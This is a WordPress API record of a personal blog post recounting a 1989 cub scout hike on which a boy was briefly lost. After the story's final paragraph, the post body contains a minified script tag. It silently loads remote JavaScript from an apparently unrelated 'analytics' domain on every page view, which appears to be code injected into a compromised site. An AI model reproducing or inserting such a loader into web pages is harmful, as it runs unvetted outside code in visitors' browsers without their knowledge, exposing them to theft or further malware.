{"id":488,"date":"2020-05-27T16:12:15","date_gmt":"2020-05-27T20:12:15","guid":{"rendered":"https:\/\/wordpress.zwart.tech\/?p=488"},"modified":"2026-05-05T04:48:00","modified_gmt":"2026-05-05T08:48:00","slug":"almost-lost-a-cub-scout","status":"publish","type":"post","link":"https:\/\/wordpress.zwart.tech\/?p=488","title":{"rendered":"Almost lost a cub scout"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">Steve was a cub scout den leader in 1989 for one year. My assistant was Leslie. I decided to take the 7 scouts including son Eric hiking at Big Bone Lick state park. Leslie said, &#8220;You should get consent forms signed by the parents.&#8221;  I thought that was overkill.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We were hiking along and one of the boys said, &#8220;Where&#8217;s Neelam?&#8221; I thought, &#8220;Oh no! We lost him.&#8221; Of course, I couldn&#8217;t let the scouts know.  I slowed down the hiking pace and we backtracked.  About 15 or 20 long minutes passed, and I was really worried. We finally ran into Neelam on a trail.  He was oblivious that anything was amiss.  We kept going without further incident.<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Steve was a cub scout den leader in 1989 for one year. My assistant was Leslie. I decided to take the 7 scouts including son Eric hiking at Big Bone Lick state park. Leslie said, &#8220;You should get consent forms signed by the parents.&#8221; I thought that was overkill. We were hiking along and one [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-488","post","type-post","status-publish","format-standard","hentry","category-steve"],"_links":{"self":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=488"}],"version-history":[{"count":2,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/488\/revisions"}],"predecessor-version":[{"id":1725,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/488\/revisions\/1725"}],"wp:attachment":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}